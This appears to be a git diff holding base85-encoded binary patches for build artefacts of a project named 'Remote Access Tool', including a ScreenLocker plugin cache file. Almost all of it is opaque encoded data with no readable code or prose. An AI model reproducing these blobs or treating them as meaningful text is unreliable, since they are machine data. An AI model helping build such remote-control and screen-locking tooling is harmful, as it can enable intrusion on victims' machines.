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 LRr90re^~wvxc_lL literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.AssemblyReference.cache b/Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.AssemblyReference.cache index a0344bf6f75e13d7acefee78fc337cbbb2d55fc6..69ab6a5bb2bdf3c3a8c30c0fa3ed7416cac3546a 100644 GIT binary patch delta 1004 zcmew(e#DfMjggmufq^m5b#gA7;zTV|#m3H)?=IfrU}R+E@yO55_DC#BDNig)Wn=~_ zV*+B9i4AI;u2%XgAfP`{P-5coAV!nTQjGH%8Nr53zRjd6hcJaRATc>RwZtbg3E2qQ z$=1xAD8@`qWwvKDnJmSqyZI7xCsQON&@Ki>Rv^KXmtT~dnUa^NmzPt(4dUdbB_pv@ zKy0w0ytHhv1dIcgVdN?^(KFC9HZV4{WMB*ixp5YX&6_pYRhXC{)j9ehMOn$}aBL=dEA8Jo!B7wD4YVz`x%Xne_4$mSdIe_8OY$qC%8k`N{bC|#nYsldrOY)VAtotfY? zUN(6OV-P5QL6HZH_By%Q-&I*JfwLX%43i1TACoUJdxG_)v-pF};9?C1o7co-wmF;4 Rnh9v2Iv*(e{D%TY1^{Xn9F710 delta 229 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 